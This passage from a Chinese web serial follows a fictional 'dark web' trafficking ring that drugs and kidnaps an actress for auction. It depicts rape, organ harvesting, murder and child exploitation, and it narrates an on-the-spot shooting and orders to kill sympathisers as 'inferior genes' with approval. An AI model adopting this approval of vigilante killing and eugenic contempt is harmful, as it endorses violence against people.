哪怕是华国,古时候也会有人浑水摸鱼,有人听信谣言认为挖了人的心脏吃下去就能长命百岁故而有过吓人的食人魔的传说,有人称活葬幼童能保祖宅百年安宁所以活生生的将偷来的买来的幼童活埋,有人说天下大旱需要用童男童女杀之祭祖就真的有人做这种糊涂事,没有降雨就是童男童女撒谎他们本身不洁,还会一直找新的童男童女,一直杀到降雨为止。 幼儿教材中的河伯娶亲就是最典型的例子。 不说M国,就是华国就有这样多的骇人听闻的典故,更不要说M国曾有人认为喝人的血可以永远保持美貌的年轻的容颜青春永驻,所以圈养了奴隶每日饮血,也是后来被称为吸血鬼的贵族。 那时候有暗网吗? 当然没有,可只要人内心藏满了污浊,只要人的心底都是黑暗,那么处处都会是暗网。 埃尔斯说的其实是没有错的。 只不过埃尔斯创建了暗网是为了给那些恶魔提供了便利的入口。 埃尔斯大笑:“你想跟暗网为敌,可你灭的完暗网的人吗!” “你今天可以灭了我们,可十几二十年后还会有我们的后人创建暗网找你们,你们就能确定那时候的你们还有能力吗?我们会将一切的恨意全部都加注到你们的后代身上,我们会将你们的儿女抓起来培育城天使!让你们永生永世的后悔跟我们暗网作对!” “这一切都是你们造下的孽障!” 埃尔斯眼底的疯狂根本毫不遮掩。 唐文晞站起身,在埃尔斯即将离开办公室前将人狠狠地摔到地上,然后一拳一拳狠狠地砸到埃尔斯脸上,砸的他脸上血流不止肿起一大块。 “你尽可以来,你想什么手段我们都会接着,就看你的人是不是真的能熬到那时候!” 话落,将埃尔斯丢出办公室。 影子愤恨的怒视唐文晞,唐文晞的保镖顺势将影子也丢出办公室。 唐文晞扯了湿巾擦拭着自己的手,像是觉得埃尔斯非常肮脏所以才擦手,而此刻他眼底的讥讽之意尽显。 埃尔斯被揍了却还捂着自己的肚子哈哈大笑。 “唐文晞!你们在明我们再暗!你们躲不过的!你躲不过,你的亲人躲不过,你的朋友躲不过你未来的爱人也躲不过!” “不然你让苏青莲出来啊!没有苏青莲你以为我们暗网会怕谁!” “唐文晞,你最好不要逼我,否则我疯起来真的会对许愿出手!” 唐文晞心下一沉,上前一步,一脚狠狠地踩到他的胸口。 “许愿也是你这种垃圾能肖想的?” 埃尔斯咳嗽的几乎要咳出血来。 他眼神狂热:“我为什么不能想,等我得到了许愿,她那么像苏青莲,那她的孩子一定也会像苏青莲,我要把她的孩子全都当成狗来养!” “许愿是华国的科研人员,你敢对许愿出手,华国上天入地天涯海角也会抓到你让你付出代价。” 埃尔斯哈哈大笑。 “以后付出代价有什么关系,至少等我抓到许愿的时候我已经玩过了,那些视频也会全部传出去,她整个人都会被我毁掉,你们华国人那么在意贞洁,她整个人都会被我毁掉的!” 埃尔斯有着对他们汹涌的恨意。 旁的人或许会害怕华国的报复,可埃尔斯这样的疯子已经疯到不怕报复了,他甚至秉持着能活一天是一天的心态。 能活一天就要给唐文晞他们添堵,这是纯恨。 这种人其实就是能活一天就享受一天,早就想到自己不会有好结果了,他们就是要活着给人添堵。 唐文晞面上的冷意完全没有消减,他甚至想冷笑。 “那你就试试,看赢的人是你还是我。” 话落,唐文晞看向保镖:“将人赶出去。” 保镖根本没有停留半分,立刻将人拖出去,有人拍到了埃尔斯被丢出去的画面,纷纷拍照嘲讽发到网上,虽然路人不清楚埃尔斯的身份,但是不妨碍他们看乐子。 埃尔斯脸上隐有怒容,却是又笑了。 “好啊,不愧是唐文晞,那就看看最后真正被毁掉的是谁。” 他们这种疯子本就不在意活命,死之前都要让他们付出些代价! “再让人联系傅长海,让他立刻搞定温栩栩,否则我真的会不惜一切代价将傅嘉誉小姐请过来做客。” “来我这里做客就别想轻易回去了。” 埃尔斯放话给影子,影子立刻应声。 奥克利多已经因为威胁幼童逼迫幼童以及浏览青涩幼童网站被被捕,奥克利多的对家马塞洛上位。 马塞洛是TS这一方的人,是唐文晞的支持让他顶替了奥克利多的位置。 唐文晞跟马塞洛见了一面,他留下的信息就是要让奥克利多死刑。 第737章 警告 奥克利多这次犯事的时间巧妙,刚好是暗网重启唐文晞被辱骂的时候,死刑的话可以震慑一部分人。 因为奥克利多的案子太多人关注,M国人上流社会的人也在关注,关注的群体有害怕暗网的有期待暗网的,这个时间确实需要强力震慑。 马塞洛利用自己的人脉联系了多方人员,唐文晞在后方提供资金支持,三天后奥克利多的案子正式开庭且是直播开庭。 “那些说奥克利多案子不是什么大案子的可能不明白现在是个什么情况了,现在暗网即将组织卷土重来,没有经历过那段时间的年轻人可能不懂有多可怕。” “他们肆无忌惮,他们横行霸道,他们是有钱人的走狗。” “如果你够漂亮就会被药倒被绑到暗网拍卖,如果你的血型肝脏器官跟有钱人的配对那就成为了他们圈养的血牛,一旦富豪们发生意外你们也会突然发生意外被摘取心脏摘取肾脏!一个普通的人正常的人走在大街上就可能被绑走消失不见,你以为他们去了什么地方,他们被暗网丢尽了斗兽场!他们将人类看做是兽类,那斗兽场中有一百人,却只能活下一个人,这样的斗兽比赛有一百天,最后获胜的那一百人会被再次投入到斗兽场中厮杀,最后的胜出者你以为真的还能够活着吗?他会被那些富豪地下的科研人员当成体质最好的小白鼠抓去研究!斗兽场上都是血!在他们眼里人不是人而是随意可以践踏的宠物工具,那个时候官官相护,人人自危!” “叫嚣着暗网重新组建的人本质就是有着劣根性的!” “这次奥克利多的案子所有人都在盯着,我们普通人在盯着,暗处的眼睛那些恶魔也在盯着,一旦轻判那群恶魔就会再度肆无忌惮!所以必须死刑!” “奥克利多!死刑!” “不能让恶魔活下来!奥克利多背叛了人民,他必须死!” 直播间里无数人呐喊着要让奥克利多付出代价。 马塞洛已经走好了关系,多方会审,最终印奥克利多事件影响甚广,最终判处死刑,三日后处决。 所有人都在等着这个结果。 这就是M国现今的政界高层放出的消息,你们暗网的人赶来,我们就敢杀。 恶魔就不该活着。 看完整场直播的埃尔斯觉得事情有些出乎自己的预料了。 他揉了揉眉心,将桌上的手机狠狠砸到地上摔了个粉碎。 “影子!让傅长海立刻将温栩栩带到M国,我已经没有耐心了,我不会给他更多的时间!让他知道轻重!” 他需要尽快拿出足够的“资源”去笼络那些人,现在手中什么都没有,谁会信他谁会帮他! 埃尔斯握紧拳死死的盯着电视上直播的法制频道,遥控也被他狠砸过去,电视闪了闪刺啦黑屏。 一直让唐文晞这样赢下去怎么行,他做不到别的也要给唐文晞找点麻烦才是。 …… 奥克利多的案子已经结束,这场唐文晞和埃尔斯首次的交锋算是唐文晞赢。 第二天就要见E国的领导,这次来跟他谈合作的是苏衡。 现在苏衡也算是自己人了,只因苏衡跟陆斯年的妹妹陆杳杳关系亲近,两人即将订婚。 而陆斯年是盛华的总裁,许愿是盛华背后真正的掌舵人,所以四舍五入,苏衡跟他们TS也算是关系匪浅。 苏衡亲自来了M国,由唐文晞的助理亲自请进了他的办公室。 两人因公交谈了不久最后谈妥了合作项目。 签完合同苏衡才有时间开口:“唐先生这里需要帮助吗?暗网的事情我在E国也已经听说了,如果需要帮助可以直说,我的保镖还是都很能拿得出手。” E国人,战斗力高这是众所周知的。 “暂时不需要,谢谢苏先生。”唐文晞暂时拒绝了。 工事谈完,唐文晞亲自送苏衡离开,送苏衡上了车,下一秒就有人用厚厚的一叠美金砸到他脸上。 “唐文晞!当年因为你我父亲散尽家财买了你的兄弟姐妹!你们唐家人间接害了我们全家!去死!你这种紫色眼睛的宠物狗!去死!” 砸完钱又开始扔菜扔鸡蛋,手头有的全都砸过去,嘴里不干不净的怒骂着。 唐文晞的保镖冲过来将人单手叩到地上逼着对方跪在地上然后狠狠捂住了对方叫嚣的怒骂的嘴。 唐文晞面无表情的接过助理递来的湿毛巾擦拭着脸上的污垢,然后对苏衡露出一个公式化的温和微笑:“见笑了,最近M国太乱了。” 苏衡微微点头然后扫向自己身边的保镖,保镖立刻会意然后取出手枪对准怒骂叫嚣的男人就是一枪子,一枪,了无声息。 “你还是太仁慈。” 苏衡淡淡的撩起眼皮:“我代表的是E国高层,舞到我面前真是活得不耐烦了,有事直接让M国高层来找我,这人我怀疑是反动派,已经在对方挣扎过程中强制执行死刑审判。” 唐文晞笑了一声:“好,我会转告M国高层,让他们知道苏先生的意思。” 话落后苏衡才离开。 唐文晞站在原地,等看不到苏衡的车尾后,唐文晞垂眸扫过倒在血泊中的男人。 “查,是谁指使的,然后将资料交给马塞洛,让他好好处理。” “所有跟暗网又联系有倾向打算深入的,不用留活口,就是留下来那也只会是骨子里肮脏恶心的劣质基因,不如毁了。” 助理表情严肃的点头,正欲要离开,唐文晞叫住他。 “最近跟在温栩栩身边的人每天都有汇报吗。” “有的唐总。” “好,让人盯紧一些,不要放松。” 助理应声认真的吩咐下去。 这次这种小打小闹,一看就是埃尔斯故意派人来恶心他的,只不过埃尔斯没想到他见的人是苏衡,苏衡在E国曾被人称作暴君就是因为他那性子,有人敢舞到他面前,他就真的敢动墙。 今天的事也算是给埃尔斯一个警告了。 第738章 暗网盯上了嘉誉吗 这一局埃尔斯又输了。 埃尔斯再度被气到开始发怒。 这么短短几天,他已经数次被唐文晞压制,暗网想要卷土重来,怎么能被这么年轻的毛头小子数次压制! 外界要有多少人看暗网的笑话。 他是要让暗网重新强势回归,而不是被上流圈子碍于唐文晞的身份不敢合作。 他现在操控不了唐文晞但华国不是还有个傅长海吗?傅长海不也是阴沟里的臭虫,什么阴狠手段都能使出来吗?那傅长海最好马上就将温栩栩带到M国! 他需要尽快用温栩栩来安抚那些躁动的人心,温栩栩的美貌,足够吸引那些政界看客。 他相信,只要抛出绝对的美貌,那些人也当不了什么正人君子。 都是下流的肉虫,谈什么正义。 …… 几天时间内傅长海数次接到来自埃尔斯暗网组织的电话,傅长海整日提心吊胆。 他已经给傅嘉誉安排了数不清的保镖,就是担心暗网的人讲傅嘉誉绑走。 他自己就是躲在暗处窥伺报复的人,当然懂这种在暗处的人有多可怕,几乎防不胜防。 傅长海只能隐忍的说尽好话承诺自己马上就能将温栩栩带到M国。 傅长海呼吸都有些急促,浑身都透着压抑的感觉。 傅嘉誉跟他和傅守越的关系一直都很好,傅嘉誉照例来看傅长海,傅嘉誉和傅守越已经在一起一段时间,被傅守越宠的不知道东南西北了。 有很多人都说傅嘉誉的命很好。 幼时有傅长海和傅京礼,稍微大一点就有傅守越,整日都有人护着守着,帝城叹气命最好的最受宠的大小姐毫无意外都是说傅嘉誉的。 她喜欢的她想要的都能得到,甚至能得到双份。 以往有些人还在嫉妒背地里说傅嘉誉被折磨宠着性子早就坏了,等到长大了估计没有人敢娶她进门,就算娶回家了,谁也受不来这大小姐脾气,迟早要离婚的。 可偏偏傅守越是被傅嘉誉和傅长海捡回家的,说是兄妹其实没有任何血缘关系,都不在一个户口本上。 有人不由暗叹还是傅长海看得远,在傅嘉誉幼年的时候就已经给她捡回家一个优秀的童养夫。 若是傅嘉誉成年了遇到自己喜欢的适合的傅家也不会逼着她做什么选择,但如果可以,她完全能够嫁给傅守越。 傅守越本就疼了她二十几年,将人当珠宝似的疼宠,疼她都成了习惯了,疼她一辈子还不是轻而易举的事? 所以说,傅嘉誉命好。 前半生有傅长海,后半生有傅守越,一直都有人为傅嘉誉遮风挡雨。 可现在傅长海就为自己这命好的女儿忧伤发愁。 他爱女如命,宁愿死都要守着傅嘉誉的,可以为了傅嘉誉伤害任何人。 纵然他看不上暗网那些做法,但他同样也得罪不起暗网。 如果要在温栩栩和嘉誉之间选一个,那他势必会选择伤害温栩栩……而且,就算他不做,暗网还会联系其他人伤害温栩栩。 没有人能躲过暗网的算计,他不敢赌。 既然温栩栩本就躲不过,迟早是要被迫害的,那么早迫害晚迫害或者……被谁伤害被谁算计又有什么区别? 他只希望嘉誉不受伤害就够了。 傅长海心里已经有了计量,还是会担心暗网说话不算数扣下傅嘉誉威胁自己。 现在傅嘉誉和傅守越来看他,他因为跟暗网周旋,这几天好像老了十几岁,头发都花白了。 傅长海看着面前漂亮阳光的女儿,眼底是欣赏是疼爱,是化不开的温柔。 只要能护住傅嘉誉,只要能给她想要的一切。 他宁愿自己成为这世间最肮脏的事物,他愿意被人辱骂被人看不起被人称之为走狗。 他不介意,他也不会为自己开脱。 他知道自己是极致的恶,甚至可能路过的狗都要唾弃一口。 他也甚至如果华国真的有无间地狱的话,他死后怕是永生永世困在炼狱。 可他已经不在意了,他只希望傅嘉誉无忧无虑。 他是恶人,但他永远爱自己的女儿。 他不会让自己的女儿沾染半点黑暗,他的女儿要永远活在阳光之下。 傅长海喉头哽咽,强压下内心的苦涩哑着嗓子看着傅嘉誉,然后眼神复杂又矛盾,怜爱又温柔。 “嘉誉,最近国内国外都很乱,你要跟在守越身边,不要乱跑,爸爸给你安排了很多保镖保护你的安全。” “我知道你不爱听这些,可嘉誉你是知道的,我们家有钱,难保那些人查不到傅家人身上绑走你来威胁我要赎金,爸爸年纪大了,经不起折腾,如果没了你,爸爸也活不下去。” 傅长海知道自己的女儿单纯好骗。 他这样示弱,傅嘉誉才会听话,否则她一定会叛逆的不要保镖到处乱跑,可能会给暗网可乘之机。 果然,傅嘉誉听了这些赶紧点点头。 显然这阵子傅守越也跟她提起过暗网做过的恶事,她也是怕的。 傅长海说这些话的时候傅守越目光一错不错的落在傅长海身上,他心思重,作为一枚曾被傅长海当做棋子工具养大的人来说,他看出了傅长海的言不由衷。 他可能想说更多,想表达更多。 他足够聪明,知道有些话不能当着傅嘉誉的面去问。他和傅长海一样,对傅嘉誉几乎是溺爱,不想她沾染这事件的黑暗,所以父子二人在饭桌上都没有细谈暗网的事。 等用过晚餐,傅守越哄着傅嘉誉睡过去后才去书房见傅长海。 “爸,暗网盯上了嘉誉吗。” 开口,一阵见血直切主题。 傅长海看文件的手都抖了下。 他抬头看着面前严肃冷峻的傅守越,嘴巴张了张想说什么,最后还是长叹一口气。 “暗网不是盯上了嘉誉,他们是盯上了温栩栩。” “他们想利用我绑走温栩栩,暗网的人胆子再大也不敢将手伸到华国来,可他们调查过我,知道有些事是我敢做的。” “我唾弃暗网,我只要将部分角色代入到嘉誉身上我就痛心。” 第739章 嘉誉是他的命 “我承认我是个恶人,可我不比暗网更恶,我害一个人,暗网能害上万人,我不想跟这种人同流合污,可守越,我没有办法。” “哪怕我知道华国安全,哪怕我清楚嘉誉不一定会出事,可只要有百分之一的可能我都不敢去赌。” “嘉誉是我的命!” 傅长海说这话的时候全身都在发抖,那是被暗网恐吓利用后极致痛心的反应。 “暗网可以跟我合作就能跟其他人合作,我是华国的恶人,可华国有多少像我这种活在暗处的人?如果我拒绝了,我怎么能确保……暗网不会联系其他人去报复我报复嘉誉。” “我没办法……我真的没办法拒绝……” 傅长海说道这里声音里是极致的痛苦甚至于因为这种痛苦几乎要落泪。 傅长海什么时候哭过? 只有知道挚爱去世的时候哭过,而第二次就是为了自己的女儿。 他被那种不确定的自己女儿可能会遭遇的未来而哭泣,他哭的只是傅嘉誉吗?他像是代表那些千千万万失去女儿的父亲。 他爱自己的女儿,他是恶人,但他能跟那些爱女的父亲共情。 傅守越沉默,他不知道自己应该有什么反应。 因为他在饭桌上的时候就已经猜到了。 按理说他该去劝傅长海,让傅长海收手,他知道傅嘉誉很喜欢温栩栩,他也知道温栩栩是许愿的好友,他知道温栩栩这一人代表了什么。 如果以后真的出事,真相直指傅长海,傅嘉誉一定会恨他,傅京礼也可能不再护着他,许愿是绝对会不顾一切的攻击他。 利害关系他一眼就能看懂,可他能看懂的,老谋深算的傅长海看不懂吗? 还是那句话,他们不敢赌。 傅长海不敢赌,他也不敢赌。 傅守越嗓音沙哑:“父亲,你只是太疼爱嘉誉,即便父亲这一生做过很多错事,但你和我一样最爱嘉誉。” 他只能用这句话来表达自己的意思。 如果暗网联系的是他,他会做出同样的决定,为了傅嘉誉伤害温栩栩。 但现在暗网联系的事傅长海。 傅长海这辈子做了太多恶事,他一直没有停手,如果未来跟傅京礼彻底闹翻势必会被查出来,等到那时候傅嘉誉一定会受到伤害。 他们两人是这世界上最偏爱傅嘉誉的人,所以他们两人之中一定要有一个人能在所有的一切真相大白的时候有人能干干净净清清白白的活在阳光下继续守着傅嘉誉。 那人不能是傅长海了,那人只能是傅守越。 他们两人都明白的道理。 傅长海眼睛里布满了血丝,他倏地笑了,拍着腿笑:“不愧是跟着我长大的,知道我在想什么。” 傅长海目光重新落到桌上的文件上,他缓缓道:“我已经将我的资产全部整理了一份,百分之八十都是嘉誉的,剩下的才会是你的,你有意见吗。” “父亲可以将所有的资产都留给嘉誉,父亲的和我的一切都应该是嘉誉的。” 傅守越表情平静,对此没有任何意见。 傅长海连连点头,像是对此很满意。 “以后,护好嘉誉。” 傅长海郑重的点头。 “拿命护她。” 听了这话,傅长海目光再度落到他身上,眼神都像是带了点笑意。 “好在嘉誉当初带你回家。” 傅长海屏退傅守越,傅守越退出去。 房间内只剩傅长海一人,房间内灯光明亮,可照在他身上却有些晦暗。 他的眼神晦涩,一遍一遍的翻看那些资产记录,像是在算自己还能护傅嘉誉多久。 许久,他终于踉跄的站起来。 自从那次被许愿故意报复的撞到双腿后,即便治好了走路也是不利索的,只能长期坐轮椅活动。 可现在他几乎没有时间想着去报复许愿了。 他打开保险箱的密码锁,捧出一份相片集。 那是老照片了,很老很老的照片了,存放了太久很老旧渡上了一层黄膜,照片还有黑白的,从幼年到青少年时期,照片也从黑白照变成了彩色相片。 相片上的女人和傅嘉誉的相貌实在相似,就算两人站一起怕是也会有人认错,将傅嘉誉当成相片中早死的女人。 那是傅长海此生的挚爱。 他前半生为她而活,后半生为她的女儿活着,一生都为她奔波然后一点点的沦为罪人双手沾满鲜血。 相片中的女人叫胡明阮,是傅京礼母亲的亲妹妹,亦是傅长海此生都在肖想却从来没有得到过的女人。 胡明阮是傅长海青梅竹马一起长大的,就像傅守越和傅嘉誉这样自小一起长大。 他经过胡明阮最稚嫩的年华,他见过胡明阮笑起来像是点燃了整片星空的笑容,他见过胡明阮向往自由的模样,他见过胡明阮的不堪……也见过胡明阮死亡时最丑陋的模样。 可即便如此,他依旧爱胡明阮。 他觉得自己生来心可能就是空的。 他自私他凉薄,他的心盛不下父亲盛不下母亲,好像只能盛装下一个胡明阮。 他爱胡明阮,胡明阮却爱傅京礼的父亲傅长宁。 可笑可悲。 他本想着没关系,明阮幸福就好,明阮做什么选择都是对的,大不了自己一辈子都不再结婚只要守着明阮就够了。 一切都不像他想的那样发展,傅长宁爱的是傅京礼的母亲,他们早早订婚。 胡明阮那样理智,即便心痛却也祝福姐姐,但在傅长宁婚前,胡明阮给傅长宁写了一封信,她只是想要告诉傅长宁自己的爱意,然后送他一份新婚礼物,她已经决定出国了。 傅长宁没有收到那封信,那封信被傅长宁的商界敌人收到,他找了个跟傅长宁身形相似的男人引去了酒店。 胡明阮没想跟傅长宁发生关系,却被强迫,她生不如死。 她想自杀,她想死,她已经完全抑郁,数次想要跳楼都被傅长海救下。 傅长海寸步不离,他说我爱你,我娶你,你就是最好的,你是我唯一的爱人。 没有人知道那晚发生的事情,除了那晚伤害过胡明阮的商界敌人。 第740章 守不住她也护不住她 傅长海像条疯狗一样逼得对方的公司申请破产,在得知胡明阮怀孕后他还是小心护着宠着,他说那是他们期盼的孩子。 胡明阮好像逐渐忘却那段记忆,但偏偏即将生产时被针对到已经破产的敌人冒出头对记着说胡明阮肚子里的孩子是他的,他已经破产了,他就是要鱼死网破,就是要搞死胡明阮。 那晚的照片他翻印了无数张洒在接头,污言垢语铺天盖地袭来彻底将本就抑郁的胡明阮压垮。 胡明阮被逼早产,生下傅嘉誉后从医院的高楼跳下去,血花四溅结束了她短暂的生命。 傅长海没能留住她。 他那时候就想,凭什么呢?凭什么都是胡家人,傅长宁为什么就要娶她的姐姐为什么不娶明阮?那晚傅长宁为什么没有去,如果他去了,明阮不会被人迫害,她不会抑郁不会怀孕不会被人抓住把柄不会跳楼身亡。 凭什么,为什么? 所有的好处都给了傅长宁,那他呢? 他本就守着已经破碎的爱人,却又被那混蛋逼了一把,连破碎的爱人都守不住。 对,他知道,胡明阮不爱自己,就是因为不爱,所以她才能走的如此洒脱。 他没得到过胡明阮也护不住胡明阮,他就像是个废物。 他恨,他恨太多人。 他恨傅长宁,她恨胡明阮的姐姐,他恨逼死胡明阮的人,他同样恨傅长宁的儿子傅京礼,他甚至恨自己体内流着的傅家的鲜血! 所以他要报复,他将逼死胡明阮的人绑到公海上切片洒向大海尸骨无存。 他亲手策划了傅长宁和胡明阮姐姐的车祸,可傅京礼就是运气太好,被他的父母护着活了下来。 他想为明阮的孩子去抢去争,就算他恶心傅家的一切,可他心里明白傅家的东西才能让嘉誉一辈子衣食无忧。 凭什么傅长宁的儿子就能继承一切,明阮的女儿就不行?所以他算计一切。 他为了胡明阮这辈子做了太多恶事,早就回不了头了。 他低头看着自己的手,却好像透过那层皮肉看到里面森森的白骨和不停流淌的黑色的恶毒的血液。 他的手抚摸着老照片,声音带着微弱的哑意。 他说:“明阮啊,我下去后见不到你的,这样也挺好的。” “你是这世界上最好的人,而我是个恶人。” 傅长海垂眸,看着黑白照片上笑靥如花的胡明阮,好像透过了厚重的时光看到了数年前活泼阳光的胡明阮。 他指尖抚摸着她的脸颊,在其上落下一个轻柔的郑重的爱怜的吻。 做完这一切傅长海收起胡明阮的照片,小心翼翼的重新缩进保险柜,然后拨通了一个号码。 离开胡明阮,他内心最柔软的地方重新变得冷硬。 “是我,傅长海。” “今晚把颜佳雨那个疯女人从精神病院放出来,引导她去伤害温栩栩。” …… 深夜,傅守越翻出一部老旧手机,里面的手机卡都是虚拟号的。 他匿名发给许愿一条信息。 【看好温栩栩。】 做完这一切,傅守越掰断手机卡然后烧掉。 这是他最后的一点对外人的善心。 …… 两天后《九月》剧组还在拍着戏,温栩栩的戏份已经要拍完了,剧组的工作人员拿了耳麦做了花絮小采访。 突然剧组引起骚动,所有人都没注意到在人群中突然冲出一个满身脏污的乞丐嚷嚷着:“栩栩给我签个名吧,我是为了你才做群演的,栩栩给我签个名,求你了!” 是粉丝啊。 剧组的人松了口气。 温栩栩确实是挺火的,他们剧组需要不少群演,这位就是租来的群演,只是一个签名算不得什么的大事。 温栩栩已经露出了微笑可下一秒就见已经跑到自己身边的“乞丐”从衣袖里迅猛的掏出一把开刃的匕首直冲她刺过来。 “温栩栩!你这个贱人!是你把我害成这样的!” “你去死!” “去死!” 这样刺耳的尖利的声音温栩栩绝对没有听错,是颜佳雨的声音。 温栩栩想躲却根本没地方躲,匕首划过手臂,鲜红的血染红了整条手臂。 滴答滴答的鲜血滴落在地面,绽起血花。 守在十米开外的保镖早已经冲过来将人扣押在地上,却已经晚了,好在没有伤到要害,只是刺伤了手臂。 被扣住的颜佳雨抬起头露出那张故意抹脏的脸怒骂着叫嚣着温栩栩去死,温栩栩贱人。 她好像真的已经疯了。 剧组的导演赶紧过来赔不是,温栩栩只是勉强的笑了笑,低头目光落在自己的手臂上。 她知道这跟导演无关,颜佳雨恨她想要害她会相处层出不穷的办法的,说起来,导演也是无妄之灾。 “去查一下,颜佳雨怎么会从精神病院出来。” 温栩栩跟身旁的保镖提了句。 保镖立刻联系了许愿那边。 发生这么大的事,顿时登上热搜,头条都是温栩栩被颜佳雨重伤的词条。 #颜佳雨重伤温栩栩# 网络上针对颜佳雨的谩骂再度掀起来。 {靠,栩栩姐姐怎么这么多病多灾的,颜佳雨都已经疯了还不放过美女吗?疯子就待在疯子该待的地方!} {这是故意伤人了吧!可惜了她是个精神病,不然都能关进去了!} {颜佳雨到底有多恨温栩栩,已经疯了还不忘记寻仇!} 网络上纷杂的议论咒骂温栩栩却已经没有心情看了。 她去了就近的医院治疗。 医生笑容温柔的为她包扎,看到她手臂上那条刀口时像是有些痛惜。 “好在这刀口不算大,不会留下疤痕。” 医生的态度古怪,温栩栩也已经没有时间去细想,对方已经为她开了药水挂上点滴瓶。 她躺在病床上,随着血管内输入的药液。 滴答滴答。 她觉得眼皮逐渐沉重,呼吸逐渐匀长。 她好像越来越困了,是最近太累了吗。 她揉了揉自己的眼睛,恍恍惚惚的好像听到主治医生在房间内跟谁打电话。 “人已经在我手上了。” “颜佳雨那个疯子真是没轻没重,刺了个小口子,不过肯定不会留疤。” “对,老大,我这就把人运出去!” 第741章 你是暗网的最佳选择 医院那间狭小的病房里,灯光昏黄无力,仿佛连它自己都在与这无尽的疲惫作斗争。 房间角落里的阴影像是有生命一般,悄悄蔓延开来,吞噬着每一寸光线能够触及的地方。 空气中弥漫着一股淡淡的消毒水味,混合着某种说不出的沉闷气息,让人感觉压抑而沉重。 温栩栩躺在病床上,只觉得眼皮如同被铅块坠着,无论如何努力都无法完全睁开。 她试图聚焦视线,然而眼前的一切都模糊成一片,那些模糊的身影和物体轮廓在她的视野中摇曳不定,仿佛置身于一场永不醒来的梦魇之中。 每一次呼吸都似乎要耗尽她所有的力气,身体仿佛不再属于自己,而是变成了一座沉重无比、无法挪动的石像。 透过半开的眼睛,她勉强能看见窗外那片灰蒙蒙的天空,天边偶尔闪烁的几颗星子也被厚厚的云层遮挡得若隐若现。 窗边的帘子轻轻晃动着,像是风在低语,又像是死亡的脚步悄然临近。 房间里唯一的声音便是仪器发出的规律“嘟嘟”声,以及她自己微弱而不规则的呼吸声,在这个寂静的空间里显得格外突兀。 在这阴暗且充满不安的环境中,温栩栩感到前所未有的孤独与无助,但即便如此,内心深处那一丝顽强的生命力还在隐隐跳动,不愿轻易放弃。 但只是抬起手就已经用尽了所有的力气,她好像已经没有更多力气了。 温栩栩眼前一片晦暗。 几乎用尽了全部的力气,手臂都抬不起来。 只能不停地听到房间内看不清脸的医生张嘴说着什么。 他不停地说:“老大放心,我马上就会将温栩栩运送到M国,有了温栩栩,我们暗网就可以正式开张了,等利用温栩栩开直播和拍卖的钱就足够我们去买更多人去进货了!” 温栩栩听不懂了。 他觉得自己耳朵都在嗡嗡作响了。 最后的的挣扎都被摁下,温栩栩彻底晕死在病床上。 戴着口罩的男医生扶了扶自己的眼镜,面无表情的看着在病床上的温栩栩,像是在看一个高价的物品,好像在估价,想要拍卖。 她手臂上的伤口并不是多大的伤口,但是特别显眼,她这样白嫩的肌肤,因为这块伤疤印在手臂上,分外显眼,怎么敢的啊,颜佳雨怎么敢的啊! “去把颜佳雨抓来!她感伤温栩栩也势必要付出代价。” 温栩栩是暗网看中的商品,那就是暗网的人,颜佳雨也配伤害温栩栩,真是太看得起她自己。 医生看了眼暗处的人随意吩咐了两句,然后确定温栩栩彻底昏迷后将人塞进一个巨大的行李箱塞进后背车厢。 之间已经不早了,他们为了能带走温栩栩还安排了私人飞机,就是为了带温栩栩离开的时候不会被卡在海关。 安眠药的效果只有两个半小时,温栩栩浑浑噩噩的醒过来,她觉察到地点不对,这好像不是那个阴森鬼气的医院,而是在飞机上。 她为什么会在飞机上。 她被谁带上了飞机?为什么带她走? 温栩栩内心全部都是疑问,她猜不透也不敢深入去猜。她的身体并没有被绑住,许是已经知道她上了这飞机就没回头路了,所以根本没打算绑住她。 她摸着自己全身上下的东西,手机没了,钻石耳环,和项链全都没了,甚至脚腕上的定位仪器也不见踪影。 这好像是一场有预谋的绑架。 她是被绑架了。 温栩栩彻底醒来,她听到飞机上传来衣衫被撕裂的声音和极其耳熟的一道女生在求救,她的声音透着绝望的泪意。 只是猜猜就知道她在经受着什么样的折磨。 她在被侵犯。 被侵犯的人……是颜佳雨。 温栩栩顿了下,抬眸的时候目光正巧落在一张相貌很熟悉的中年男人身上。 中年男人脸上带着笑意,可眼底却不带多少温情,硬要说只是藏着狠戾。 “温小姐终于醒了,才过了没多久我们竟然又见面了,温小姐真是一位不可多得的美人。” 温栩栩面上表情淡然,看似平静,其实自己的整个人都快要爆炸。 “我叫埃尔斯,你和唐文晞旅游的时候我们在国外碰过面,不过许是我的相貌实在是大众路人脸所以你不记得我也是情有可原的。 埃尔斯痴迷的望着温栩栩,伸出手去想要抚摸温栩栩明艳动人的面容。 “真巧,上一次看你的角色就是因为民国戏里面穿了旗袍的角色,这次你有事民国戏和穿旗袍的动作,你穿上旗袍可真好看,任谁看了都会欢喜。 “从我看到你的第一眼我就知道我是一定要得到你的,果然,在我规定的时间内我得到了你,我的女神,我的缪斯。” 温栩栩垂眸脸蛋稍稍后移,似乎是完全不像理他。 埃尔斯呵呵的笑了两声,并不觉得自己被冒犯了,却是埃尔斯的助理摁住温栩栩的脑袋让埃尔斯摸。 但埃尔斯没有在碰她, 埃尔斯意味深长道:“这样的绝色也不是我们暗网就能轻易享用的,最起码,现在她还鲜嫩的时候碰不得,等以后那些大人物玩腻了,随便你们怎么侵犯,我自然当看不见,只要别让她怀了你们的孩子就够了。” “天使母体就该跟足够光亮的男人结合诞生子嗣,这样才能生出漂亮的完美的宝宝。” 那些天使宝宝才是组织的一切后路。 培养那些天使才是不花费多少钱财,但后期带来的收益确实百分百的。 温栩栩俩呢惨白。 她不是蠢货,档案明白埃尔斯对自己根本不是尊重,而是故意下马威。 “现在不肯让我碰,以后你求着我我也不碰你,等以后你被那些人直播夺了身子就会迎来你的客户,我们会一直开着直播,知道赚的盆满钵满,再去让你跟其他男人生孩子,往后你就是我们暗网的王牌了。” “你是暗网的最佳选择,你会喜欢我为你铺好的路的。” 第742章 曾经的小天使长大了 此刻,温栩栩终于完全记起面前的人是谁了。 面前的人是就是上次旅游时跟唐文晞说过话的男人,或许那个时间唐文晞就感觉到不对了,所以特地安排人亲自送她回国,晚晚没想到她还是被人绑了来。 在华国被这些M国的人绑架了说出去真的很可笑。 温栩栩很想让自己平静下来,可她根本无法平静,颜佳雨的惨叫声还在持续,偶尔还能听到皮带抽打的声音,只要猜猜就知道那边正在进行些什么活动。 埃尔斯似乎是发现温栩栩对颜佳雨的方向有兴趣。 他微笑的对温栩栩说,“你要去看看吗,你可以去看看。” 温栩栩不想去看,她单只是想想就觉得浑身作呕。 可她不想去看,埃尔斯却一定要逼着她去看。 